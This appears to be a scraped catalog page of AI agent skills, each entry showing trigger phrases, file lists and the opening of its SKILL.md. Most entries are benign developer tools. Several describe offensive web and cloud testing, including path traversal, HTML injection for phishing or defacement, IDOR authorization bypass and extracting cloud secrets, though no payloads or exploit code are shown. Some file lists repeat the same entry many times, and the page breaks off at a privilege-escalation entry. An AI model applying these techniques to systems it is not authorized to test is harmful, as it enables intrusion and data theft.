- Common authentication frameworks
View the complete source on GitHubburp-suite-testing
When your agent uses it
This skill should be used when the user asks to "intercept HTTP traffic", "modify web requests", "use Burp Suite for testing", "perform web vulnerability scanning", "test with Burp Repeater", "analyze HTTP history", or "configure proxy for web testing". It provides comprehensive guidance for using Burp Suite's core features for web application security testing.
What it loads into context
Frontmatter
100 tokensAlways available to the agent
SKILL.md
2,479 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Inputs / Prerequisites
- Outputs / Deliverables
- Core Workflow
- Quick Reference
- Constraints and Guardrails
- Examples
- Troubleshooting
Files
SKILL.mdcore10,902 bytes
Read SKILL.md
# Burp Suite Web Application Testing
## Purpose
Execute comprehensive web application security testing using Burp Suite's integrated toolset, including HTTP traffic interception and modification, request analysis and replay, automated vulnerability scanning, and manual testing workflows. This skill enables systematic discovery and exploitation of web application vulnerabilities through proxy-based testing methodology.
## Inputs / Prerequisites
### Required Tools
- Burp Suite Community or Professional Edition installed
- Burp's embedded browser or configured external browser
- Target web application URL
- Valid credentials for authenticated testing (if applicable)
View the complete source on GitHubcaching
When your agent uses it
Caching strategies — invalidation, TTL guidelines, cache keys, cache layers, and when not to cache. Use when implementing or reviewing caching logic.
What it loads into context
Frontmatter
36 tokensAlways available to the agent
SKILL.md
1,584 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- WHEN_TO_USE
- INVALIDATION
- TTL_GUIDELINES
- CACHE_KEYS
- CACHE_LAYERS
- WHEN_NOT_TO_CACHE
- CODE_EXAMPLES
- ANTI_PATTERNS
Files
SKILL.mdcore6,223 bytes
Read SKILL.md
## WHEN_TO_USE
- When implementing a cache layer (in-memory, Redis, CDN) for an API or service.
- When choosing TTL values or invalidation strategies for cached data.
- When designing cache key schemas to avoid collisions or stale-data bugs.
- When reviewing code that reads from or writes to any cache.
- When debugging stale data, cache stampedes, or inconsistent responses.
- When configuring TanStack Query `staleTime`/`gcTime` for client-side caching.
## INVALIDATION
- [P0-MUST] Define an invalidation strategy for every cache. Stale data is worse than no cache.
- [P0-MUST] Invalidate caches when the underlying data changes — do not rely solely on TTL expiry.
- [P1-SHOULD] Prefer event-driven invalidation (on write/update/delete) over time-based expiry alone.
- [P1-SHOULD] Use cache versioning (include a version key) when data schemas change.View the complete source on GitHubchart-image
When your agent uses it
Generate publication-quality PNG chart images from data, supporting line, bar, area, candlestick, pie, and heatmap charts. Triggers when the user asks to visualize data, create a graph, plot a time series, or generate a chart for a report, alert, or dashboard. Runs as a lightweight, headless Node.js process without a browser.
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
2,927 tokensWhen the skill is activated
Reference documents
3,052 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Why This Skill?
- Setup (one-time)
- Quick Usage
- Chart Types
- Options Reference
- Alert-Style Chart (recommended for monitors)
- Timeline Annotations
- Temporal X-Axis
- Y-Axis Formatting
- Chart Subtitle
- Theme Selection
- Piping Data
- Custom Vega-Lite Spec
- Deliver the Image
Scripts executed separately
scripts/chart.mjsscripts/package.json
Files
README.mddoc10,302 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesSKILL.mdcore10,308 bytesscripts/chart.mjsruns54,069 bytesscripts/package.jsonruns155 bytes
Read SKILL.md
# Chart Image Generator
Generate PNG chart images from data using Vega-Lite. Perfect for headless server environments.
## Why This Skill?
**Built for Fly.io / VPS / Docker deployments:**
- ✅ **No native compilation** - Uses Sharp with prebuilt binaries (unlike `canvas` which requires build tools)
- ✅ **No Puppeteer/browser** - Pure Node.js, no Chrome download, no headless browser overhead
- ✅ **Lightweight** - ~15MB total dependencies vs 400MB+ for Puppeteer-based solutions
- ✅ **Fast cold starts** - No browser spinup delay, generates charts in <500ms
- ✅ **Works offline** - No external API calls (unlike QuickChart.io)
## Setup (one-time)View the complete source on GitHubcloud-penetration-testing
When your agent uses it
This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms.
What it loads into context
Frontmatter
98 tokensAlways available to the agent
SKILL.md
3,465 tokensWhen the skill is activated
Reference documents
3,260 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Outputs and Deliverables
- Core Workflow
- Quick Reference
- Constraints and Limitations
- Examples
- Troubleshooting
- References
Files
SKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesSKILL.mdcore14,036 bytesreferences/advanced-cloud-scripts.mddoc11,972 bytes
Read SKILL.md
# Cloud Penetration Testing
## Purpose
Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.
## Prerequisites
### Required Tools
```bash
# Azure tools
Install-Module -Name Az -AllowClobber -Force
Install-Module -Name MSOnline -Force
Install-Module -Name AzureAD -ForceView the complete source on GitHubcode-documenter
When your agent uses it
Use when adding docstrings, creating API documentation, or building documentation sites. Invoke for OpenAPI/Swagger specs, JSDoc, doc portals, tutorials, user guides.
What it loads into context
Frontmatter
138 tokensAlways available to the agent
SKILL.md
866 tokensWhen the skill is activated
Reference documents
11,726 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Role Definition
- When to Use This Skill
- Core Workflow
- Reference Guide
- Constraints
- Output Formats
- Knowledge Reference
Files
SKILL.mdcore4,116 bytesreferences/api-docs-fastapi-django.mddoc4,332 bytesreferences/api-docs-nestjs-express.mddoc5,156 bytesreferences/coverage-reports.mddoc3,315 bytesreferences/documentation-systems.mddoc6,381 bytesreferences/interactive-api-docs.mddoc10,317 bytesreferences/python-docstrings.mddoc3,153 bytesreferences/typescript-jsdoc.mddoc3,371 bytesreferences/user-guides-tutorials.mddoc11,315 bytes
Read SKILL.md
# Code Documenter
Documentation specialist for inline documentation, API specs, documentation sites, and developer guides.
## Role Definition
You are a senior technical writer with 8+ years of experience documenting software. You specialize in language-specific docstring formats, OpenAPI/Swagger specifications, interactive documentation portals, static site generation, and creating comprehensive guides that developers actually use.
## When to Use This Skill
- Adding docstrings to functions and classes
- Creating OpenAPI/Swagger documentation
- Building documentation sites (Docusaurus, MkDocs, VitePress)
- Documenting APIs with framework-specific patternsView the complete source on GitHubcode-to-diagram
When your agent uses it
Analyze codebases and automatically generate architecture diagrams, flowcharts, and org charts. Uses AST parsing to map import dependencies for Python, JS/TS, Go, and Java, outputting Mermaid or SVG files. Triggered when users ask to visualize code architecture, understand dependencies, draw a flowchart, or create a module diagram from source code.
What it loads into context
Frontmatter
106 tokensAlways available to the agent
SKILL.md
923 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Usage
- How It Works
- Use Cases
- Dependencies
- Notes
Scripts executed separately
scripts/analyze_codebase.py
Files
LICENSEasset1,083 bytesSKILL.mdcore3,892 bytesSKILL.mdcore3,892 bytesSKILL.mdcore3,892 bytesSKILL.mdcore3,892 bytesSKILL.mdcore3,892 bytesSKILL.mdcore3,892 bytesscripts/analyze_codebase.pyruns17,030 bytes
Read SKILL.md
# Code to Diagram
Extract import and dependency relationships from a codebase via AST parsing, and automatically generate three types of diagrams:
1. **Architecture Diagram** — Module/directory-level dependency relationships
2. **Flowchart** — File-level import call chains
3. **Org Chart** — Directory/file hierarchy structure
Supported languages: Python, JavaScript, TypeScript, Go, Java
Output formats: Mermaid text (`.mmd`) or SVG images (requires `mmdc` installed on the system)
## Usage
View the complete source on GitHubcode-vuln-audit
When your agent uses it
Scan code for security issues: dependency vulnerabilities (npm/pip audit), secret leaks (regex and entropy analysis), and OWASP anti-patterns like SQL injection, XSS, or command injection. Use when the user mentions security scans, vulnerability detection, secret leaks, API keys, OWASP, npm audit, pip-audit, hardcoded passwords, or code security checks.
What it loads into context
Frontmatter
90 tokensAlways available to the agent
SKILL.md
1,414 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- Scan Module Details
- Parameters
- Output Format
- Exit Codes
- Prerequisites
Scripts executed separately
scripts/security_scan.py
Files
LICENSEasset1,086 bytesSKILL.mdcore5,363 bytesSKILL.mdcore5,363 bytesscripts/security_scan.pyruns30,084 bytes
Read SKILL.md
# code-vuln-audit
A code security scanning tool with three core scanning capabilities:
1. **Dependency Vulnerability Scanning** — Automatically detects known vulnerabilities in npm / pip dependencies
2. **Secret Leak Detection** — Discovers hardcoded secrets, tokens, and passwords via regex matching + Shannon entropy analysis
3. **OWASP Pattern Detection** — Identifies common security anti-patterns such as SQL injection, XSS, command injection, and insecure deserialization
## Quick Start
```bash
# Scan the current directory (all checks)
python3 scripts/security_scan.py .
View the complete source on GitHubvercel-composition-patterns
When your agent uses it
React composition patterns that scale. Use when refactoring components with boolean prop proliferation, building flexible component libraries, or designing reusable APIs. Triggers on tasks involving compound components, render props, context providers, or component architecture. Includes React 19 API changes.
What it loads into context
Frontmatter
91 tokensAlways available to the agent
SKILL.md
625 tokensWhen the skill is activated
Reference documents
10,448 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Apply
- Rule Categories by Priority
- Quick Reference
- How to Use
- Full Compiled Document
Files
AGENTS.mddoc22,463 bytesREADME.mddoc2,140 bytesSKILL.mdcore2,884 bytesmetadata.jsonasset530 bytesrules/_sections.mddoc821 bytesrules/_template.mddoc329 bytesrules/architecture-avoid-boolean-props.mddoc2,213 bytesrules/architecture-compound-components.mddoc2,578 bytesrules/patterns-children-over-render-props.mddoc1,882 bytesrules/patterns-explicit-variants.mddoc2,385 bytesrules/react19-no-forwardref.mddoc953 bytesrules/state-context-interface.mddoc4,974 bytesrules/state-decouple-implementation.mddoc2,637 bytesrules/state-lift-state.mddoc3,224 bytes
Read SKILL.md
# React Composition Patterns
Composition patterns for building flexible, maintainable React components. Avoid
boolean prop proliferation by using compound components, lifting state, and
composing internals. These patterns make codebases easier for both humans and AI
agents to work with as they scale.
## When to Apply
Reference these guidelines when:
- Refactoring components with many boolean props
- Building reusable component libraries
- Designing flexible component APIsView the complete source on GitHubcross-examine
When your agent uses it
Interview the user relentlessly about a plan or design until reaching shared understanding, resolving each branch of the decision tree. Use when user wants to stress-test a plan, get grilled on their design, or mentions "grill me".
What it loads into context
Frontmatter
53 tokensAlways available to the agent
SKILL.md
123 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Files
LICENSEasset1,068 bytesSKILL.mdcore640 bytes
Read SKILL.md
Interview me relentlessly about every aspect of this plan until we reach a shared understanding. Walk down each branch of the design tree, resolving dependencies between decisions one-by-one. For each question, provide your recommended answer.
Ask the questions one at a time.
If a question can be answered by exploring the codebase, explore the codebase instead.View the complete source on GitHubcv-tailor
When your agent uses it
Optimize resumes by matching keywords to the job description, rewriting experience with the quantified STAR method, and checking ATS compatibility. Triggered when users ask for resume help, review, or polishing, mention JD matching, STAR method, ATS, or want to tailor their resume for a specific role.
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
2,816 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- SOP Workflow
- Workflow Control Rules
- Core Principles
Files
LICENSEasset1,086 bytesSKILL.mdcore12,608 bytes
Read SKILL.md
# CV Tailor
**Three pillars of resume optimization**: Analyze keyword alignment against the target JD, rewrite experience bullets using the STAR method with quantified results, and run an ATS compatibility check — producing a highly targeted, high-pass-rate optimized resume.
## Quick Start
The user provides their resume (content or file) and the target JD. The agent then automatically completes the optimization following the workflow below:
```
User: Help me optimize my resume — I'm applying for this role [attaches JD + resume]
Agent: [Follows the SOP workflow and outputs optimization recommendations plus a rewritten resume]
```
## SOP WorkflowView the complete source on GitHubdata-viz-renderer
When your agent uses it
Generate self-contained HTML/SVG infographics from JSON data, including stat cards, bar charts, flow diagrams, and mixed dashboards. Offers 8 color palettes and built-in icons with no external dependencies. Triggered when users request data visualization, infographics, charts, or dashboards.
What it loads into context
Frontmatter
97 tokensAlways available to the agent
SKILL.md
1,507 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Usage
- Output Format
- Design Highlights
- Use Cases
- Dependencies
Scripts executed separately
scripts/build_infographic.py
Files
LICENSEasset1,089 bytesSKILL.mdcore5,370 bytesSKILL.mdcore5,370 bytesSKILL.mdcore5,370 bytesscripts/build_infographic.pyruns27,242 bytes
Read SKILL.md
# Data Viz Renderer
Generate self-contained HTML/SVG infographics from JSON data. Four supported types:
1. **Stats Cards** — KPI big numbers + trend arrows + icons
2. **Comparison Chart** — Grouped bar chart with multiple series
3. **Flow Diagram** — Step-by-step process with numbering, icons, and connecting arrows
4. **Dashboard** — Mixed layout: stat cards + bar chart + donut chart + flow
Output is a **fully self-contained** HTML file (all CSS/SVG inline, no external dependencies), ready to open directly in a browser.
## Usage
### Basic UsageView the complete source on GitHubdatabase-optimizer
When your agent uses it
Use when investigating slow queries, analyzing execution plans, or optimizing database performance. Invoke for index design, query rewrites, configuration tuning, partitioning strategies, lock contention resolution.
What it loads into context
Frontmatter
141 tokensAlways available to the agent
SKILL.md
757 tokensWhen the skill is activated
Reference documents
12,854 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Role Definition
- When to Use This Skill
- Core Workflow
- Reference Guide
- Constraints
- Output Templates
- Knowledge Reference
Files
SKILL.mdcore3,867 bytesreferences/index-strategies.mddoc8,506 bytesreferences/monitoring-analysis.mddoc14,596 bytesreferences/mysql-tuning.mddoc11,021 bytesreferences/postgresql-tuning.mddoc10,284 bytesreferences/query-optimization.mddoc6,225 bytes
Read SKILL.md
# Database Optimizer
Senior database optimizer with expertise in performance tuning, query optimization, and scalability across multiple database systems.
## Role Definition
You are a senior database performance engineer with 10+ years of experience optimizing high-traffic databases. You specialize in PostgreSQL and MySQL optimization, execution plan analysis, strategic indexing, and achieving sub-100ms query performance at scale.
## When to Use This Skill
- Analyzing slow queries and execution plans
- Designing optimal index strategies
- Tuning database configuration parameters
- Optimizing schema design and partitioningView the complete source on GitHubdatabase-scout
When your agent uses it
Explore SQLite and PostgreSQL databases: list tables, inspect schemas (columns/types/constraints), preview data, generate Mermaid ER diagrams, and run safe read-only queries. Triggered by requests to explore a database, view table structures, describe tables, generate diagrams, or query data, and by keywords like database exploration, schema, ER diagram, or SQL query.
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
1,174 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Feature Overview
- Security Mechanisms
- Quick Start
- Detailed Usage
- Output Examples
- Dependencies
Scripts executed separately
scripts/db_explorer.py
Files
LICENSEasset1,081 bytesSKILL.mdcore4,523 bytesSKILL.mdcore4,523 bytesSKILL.mdcore4,523 bytesscripts/db_explorer.pyruns15,775 bytes
Read SKILL.md
# database-scout
Read-only exploration tool for SQLite / PostgreSQL databases — inspect table schemas, preview data, generate ER diagrams, and run safe queries.
## Feature Overview
| Feature | Description |
|---------|-------------|
| List all tables | Show tables and views in the database, with row counts |
| Inspect table schema | Column names, types, constraints (PK/FK/NOT NULL), indexes, defaults |
| Data preview | View the first N rows of a table |
| ER diagram generation | Output Mermaid erDiagram syntax, ready to render |
| Safe read-only queries | Only SELECT/WITH/EXPLAIN allowed; write operations are blocked |
View the complete source on GitHubdataset-quality-audit
When your agent uses it
Run comprehensive quality checks on tabular data (CSV/Excel/TSV/JSON), detecting missing values, duplicates, outliers, format issues, and type inconsistencies to produce an overall score, grade, and actionable suggestions. Triggered when users ask to check data quality, find missing or duplicate values, detect outliers, validate formats, profile data, or clean data.
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
980 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Capabilities
- Quick Start
- Detailed Usage
- Output Format (JSON)
- Grading Scale
- Dependencies
Scripts executed separately
scripts/data_quality_checker.py
Files
LICENSEasset1,090 bytesSKILL.mdcore4,016 bytesSKILL.mdcore4,016 bytesSKILL.mdcore4,016 bytesSKILL.mdcore4,016 bytesscripts/data_quality_checker.pyruns25,108 bytes
Read SKILL.md
# dataset-quality-audit
A data quality auditing tool that runs 12-dimension quality checks on tabular data, producing per-dimension scores (0–100), an overall grade, and actionable fix suggestions.
## Capabilities
| Dimension | Description |
|-----------|-------------|
| Missing Values | Count and percentage of null/NaN values per column |
| Duplicate Rows | Number and percentage of fully duplicated rows |
| Type Consistency | Mixed types within a single column (e.g., numbers mixed with text) |
| Value Range / Outliers | Outlier detection using the IQR method |
| Format Compliance | Consistency of date, email, phone number, and other formatted fields |
| Uniqueness Constraints | Whether ID-type columns contain duplicates |View the complete source on GitHubdeep-module-refactor
When your agent uses it
Explore a codebase to find opportunities for architectural improvement, focusing on making the codebase more testable by deepening shallow modules. Use when user wants to improve architecture, find refactoring opportunities, consolidate tightly-coupled modules, or make a codebase more AI-navigable.
What it loads into context
Frontmatter
66 tokensAlways available to the agent
SKILL.md
866 tokensWhen the skill is activated
Reference documents
603 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Process
Files
LICENSEasset1,068 bytesREFERENCE.mddoc2,969 bytesSKILL.mdcore4,104 bytes
Read SKILL.md
# Improve Codebase Architecture
Explore a codebase like an AI would, surface architectural friction, discover opportunities for improving testability, and propose module-deepening refactors as GitHub issue RFCs.
A **deep module** (John Ousterhout, "A Philosophy of Software Design") has a small interface hiding a large implementation. Deep modules are more testable, more AI-navigable, and let you test at the boundary instead of inside.
## Process
### 1. Explore the codebase
Use the Agent tool with subagent_type=Explore to navigate the codebase naturally. Do NOT follow rigid heuristics — explore organically and note where you experience friction:
- Where does understanding one concept require bouncing between many small files?
- Where are modules so shallow that the interface is nearly as complex as the implementation?View the complete source on GitHubdesign-system-builder
When your agent uses it
Extract design systems from reference UI images and generate implementation-ready UI design prompts. Use when users provide UI screenshots/mockups and want to create consistent designs, generate design systems, or build MVP UIs matching reference aesthetics.
What it loads into context
Frontmatter
51 tokensAlways available to the agent
SKILL.md
1,435 tokensWhen the skill is activated
Reference documents
2,477 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Workflow
- Template Assets
- Best Practices
- Example Usage
- Notes
Files
LICENSEasset1,064 bytesSKILL.mdcore6,933 bytesSKILL.mdcore6,933 bytesSKILL.mdcore6,933 bytesassets/app-overview-generator.mddoc2,116 bytesassets/design-system.mddoc4,143 bytesassets/vibe-design-template.mddoc2,170 bytes
Read SKILL.md
# UI Designer
## Overview
This skill enables systematic extraction of design systems from reference UI images through a multi-step workflow: analyze visual patterns → generate design system documentation → create PRD → produce implementation-ready UI prompts.
## When to Use
- User provides UI screenshots, mockups, or design references
- Need to extract color palettes, typography, spacing from existing designs
- Want to generate design system documentation from visual examples
- Building MVP UI that should match reference aesthetics
- Creating multiple UI variations following consistent design principles
View the complete source on GitHubdev-guide-generator
When your agent uses it
Generates complete technical tutorials from prerequisites and environment setup to core steps, troubleshooting, and a final cheatsheet. Trigger on requests to write a tutorial, create a setup guide, organize steps for beginners, or keywords like step-by-step, quickstart, or how-to guide.
What it loads into context
Frontmatter
67 tokensAlways available to the agent
SKILL.md
2,990 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- SOP Workflow
- Flow Control Rules
- Use Cases
Files
LICENSEasset1,091 bytesSKILL.mdcore13,625 bytes
Read SKILL.md
# Dev Guide Generator
**One topic → complete technical tutorial**: Through a structured SOP workflow, transform a technical topic into a comprehensive tutorial covering prerequisites, environment setup, core steps, common error troubleshooting, and advanced topics — all accompanied by a cheatsheet.
## Quick Start
The user simply provides a technical topic or operational goal, and the Agent automatically generates a complete tutorial following this workflow:
```
User: Help me write a Docker beginner's tutorial
Agent: [Outputs complete technical tutorial + Cheatsheet following the SOP workflow]
```
## SOP WorkflowView the complete source on GitHubethical-hacking-methodology
When your agent uses it
This skill should be used when the user asks to "learn ethical hacking", "understand penetration testing lifecycle", "perform reconnaissance", "conduct security scanning", "exploit vulnerabilities", or "write penetration test reports". It provides comprehensive ethical hacking methodology and techniques.
What it loads into context
Frontmatter
78 tokensAlways available to the agent
SKILL.md
2,705 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Outputs and Deliverables
- Core Workflow
- Quick Reference
- Constraints and Limitations
- Troubleshooting
Files
SKILL.mdcore10,882 bytesSKILL.mdcore10,882 bytesSKILL.mdcore10,882 bytesSKILL.mdcore10,882 bytesSKILL.mdcore10,882 bytesSKILL.mdcore10,882 bytesSKILL.mdcore10,882 bytesSKILL.mdcore10,882 bytesSKILL.mdcore10,882 bytesSKILL.mdcore10,882 bytesSKILL.mdcore10,882 bytesSKILL.mdcore10,882 bytesSKILL.mdcore10,882 bytesSKILL.mdcore10,882 bytes
Read SKILL.md
# Ethical Hacking Methodology
## Purpose
Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.
## Prerequisites
### Required Environment
- Kali Linux installed (persistent or live)
- Network access to authorized targets
- Written authorization from system owner
### Required KnowledgeView the complete source on GitHubfile-path-traversal
When your agent uses it
This skill should be used when the user asks to "test for directory traversal", "exploit path traversal vulnerabilities", "read arbitrary files through web applications", "find LFI vulnerabilities", or "access files outside web root". It provides comprehensive file path traversal attack and testing methodologies.
What it loads into context
Frontmatter
82 tokensAlways available to the agent
SKILL.md
3,230 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Outputs and Deliverables
- Core Workflow
- Quick Reference
- Constraints and Limitations
- Troubleshooting
Files
SKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytes
Read SKILL.md
# File Path Traversal Testing
## Purpose
Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.
## Prerequisites
### Required Tools
- Web browser with developer tools
- Burp Suite or OWASP ZAP
- cURL for testing payloads
- Wordlists for automation
- ffuf or wfuzz for fuzzingView the complete source on GitHubhtml-injection-testing
When your agent uses it
This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies.
What it loads into context
Frontmatter
78 tokensAlways available to the agent
SKILL.md
3,443 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Outputs and Deliverables
- Core Workflow
- Quick Reference
- Constraints and Limitations
- Troubleshooting
Files
SKILL.mdcore13,044 bytesSKILL.mdcore13,044 bytesSKILL.mdcore13,044 bytesSKILL.mdcore13,044 bytesSKILL.mdcore13,044 bytesSKILL.mdcore13,044 bytesSKILL.mdcore13,044 bytesSKILL.mdcore13,044 bytes
Read SKILL.md
# HTML Injection Testing
## Purpose
Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.
## Prerequisites
### Required Tools
- Web browser with developer tools
- Burp Suite or OWASP ZAP
- Tamper Data or similar proxy
- cURL for testing payloads
View the complete source on GitHubhttp-load-profiler
When your agent uses it
Run stepped HTTP load tests with ab/wrk, ramping concurrency levels to collect p50/p90/p99 latency, detect performance inflection points, and recommend optimal concurrency. Triggered by requests like 'load test this URL', 'benchmark my API', 'find the max concurrency', or mentions of p99 latency, throughput saturation, or capacity planning.
What it loads into context
Frontmatter
103 tokensAlways available to the agent
SKILL.md
1,702 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Features
- Quick Start
- Parameters
- Output Format
- Prerequisites
- Inflection Point Detection Algorithm
- Important Notes
Scripts executed separately
scripts/http_benchmark.py
Files
LICENSEasset1,056 bytesSKILL.mdcore6,248 bytesSKILL.mdcore6,248 bytesSKILL.mdcore6,248 bytesscripts/http_benchmark.pyruns14,673 bytes
Read SKILL.md
# HTTP Load Profiler — Stepped Concurrency Load Test + Inflection Point Analysis
Run stepped concurrency load tests against HTTP services, automatically collect latency percentiles, and detect performance inflection points.
## Features
- **Dual engine support**: Auto-detects wrk (preferred) or ab (Apache Bench); manual override available
- **Stepped concurrency**: Ramps up through user-defined concurrency levels (default: 1 → 10 → 50 → 100 → 200 → 500)
- **Latency percentiles**: Collects p50 / p90 / p99 latency at each level
- **Inflection point detection**: Automatically identifies four types of performance inflection points
- p99 latency accelerating (increase exceeds 2x the previous step's increase)
- Throughput efficiency dropping significantly (RPS per connection drops > 40%)
- Throughput saturated while latency spikes (RPS growth < 10%, p99 growth > 50%)
- Error rate surging (exceeds 1% and doubles from previous step)View the complete source on GitHubidor-testing
When your agent uses it
This skill should be used when the user asks to "test for insecure direct object references," "find IDOR vulnerabilities," "exploit broken access control," "enumerate user IDs or object references," or "bypass authorization to access other users' data." It provides comprehensive guidance for detecting, exploiting, and remediating IDOR vulnerabilities in web applications.
What it loads into context
Frontmatter
96 tokensAlways available to the agent
SKILL.md
3,101 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Inputs / Prerequisites
- Outputs / Deliverables
- Core Workflow
- Quick Reference
- Constraints and Limitations
- Examples
- Troubleshooting
- Remediation Guidance
Files
SKILL.mdcore12,589 bytesSKILL.mdcore12,589 bytesSKILL.mdcore12,589 bytesSKILL.mdcore12,589 bytes
Read SKILL.md
# IDOR Vulnerability Testing
## Purpose
Provide systematic methodologies for identifying and exploiting Insecure Direct Object Reference (IDOR) vulnerabilities in web applications. This skill covers both database object references and static file references, detection techniques using parameter manipulation and enumeration, exploitation via Burp Suite, and remediation strategies for securing applications against unauthorized access.
## Inputs / Prerequisites
- **Target Web Application**: URL of application with user-specific resources
- **Multiple User Accounts**: At least two test accounts to verify cross-user access
- **Burp Suite or Proxy Tool**: Intercepting proxy for request manipulation
- **Authorization**: Written permission for security testing
- **Understanding of Application Flow**: Knowledge of how objects are referenced (IDs, filenames)
View the complete source on GitHublinux-privilege-escalation
When your agent uses it
